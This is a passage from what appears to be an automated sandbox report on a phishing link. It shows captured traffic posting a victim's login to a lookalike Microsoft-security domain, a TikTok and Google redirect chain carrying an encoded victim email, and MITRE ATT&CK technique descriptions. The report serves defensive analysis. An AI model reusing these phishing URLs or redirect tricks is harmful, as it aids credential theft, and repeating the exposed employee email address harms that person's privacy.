br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:35 UTC	52	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6d 61 72 73 68 61 2e 72 6f 77 6c 61 6e 64 40 63 68 65 72 6f 6b 65 65 62 72 69 63 6b 2e 63 6f 6d 26 70 61 73 73 3d Data Ascii: do=login&user=marsha.rowland@cherokeebrick.com&pass=
2025-01-14 14:24:35 UTC	329	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:35 GMT Server: Apache Access-Control-Allow-Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 14:24:35 UTC	72	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 70 61 73 73 77 6f 72 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3d{"status":"password","message":"Please enter your password."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49782	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:36 UTC	367	OUT	GET /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:36 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:35 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	09:23:27
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:23:30
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2068,i,909759720540661782,17423666179409827010,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:23:36
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Static File Info

Network Behavior